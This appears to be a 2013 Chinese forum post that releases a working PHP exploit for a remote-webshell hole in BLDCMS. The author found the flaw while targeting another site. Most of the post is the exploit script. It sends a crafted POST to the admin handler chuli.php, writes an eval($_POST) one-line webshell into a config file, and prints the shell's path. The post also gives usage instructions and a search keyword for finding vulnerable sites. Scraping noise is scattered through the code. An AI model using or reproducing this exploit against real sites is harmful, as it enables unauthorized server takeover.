BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞

+ x# X& u9 k3 c1 U2 M
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
02.<!--?php
03.echo "-------------------------------------------------------------------
04.
, U5 N4 D3 A, _2 I3 s05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
5 X; x& V/ L8 c18.$dir=$argv[2];
19.$pass=$argv[3];
* u5 T' |5 q" s# e9 {% H8 F20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
! p, u$ ~0 d5 m* D2 D21.if (emptyempty($pass)||emptyempty($url))
1 B% D( \6 l1 _22.{exit("请输入参数");}
23.else
24.{
, k* D. K1 }9 g2 P) W25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
% ~. o6 U3 Y  W" K6 D3 m' b30.{
2 D; H6 A/ x% v6 |31.global $url,$dir,$pass,$eval,$length,$fuckdata;
# p1 ?8 [' ]8 A: V3 C& b5 ]32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
: ~, [* e2 c+ D: r35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
5 P: ?# S5 ?, I8 d( N5 ]39.$header .= $fuckdata."\r\n\r\n";
4 Z, D2 B0 e- o4 i40.$fp = fsockopen($url, 80,$errno,$errstr,15);
% ~% S( J+ j2 {41.if (!$fp)
) t( j6 ?8 r5 }/ l6 b42.{
0 o3 n# U' t' c2 H  g43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
, X$ r; [' a$ c% P% P8 n47.else
48.{
  i. m- X* l# a" [" R4 A& H/ a49.$receive = '';
' k: @) y' M0 J. S8 V50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
- s, ]( k- d/ P, t7 U54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
, V4 P/ S* t9 v$ M57.}}
58.}
59.}
60.getshell($url,$pass);
61.?-->



: {' R* o+ R1 r& l5 s# Rby 数据流
/ k( d! u* {- z: z( b. r* e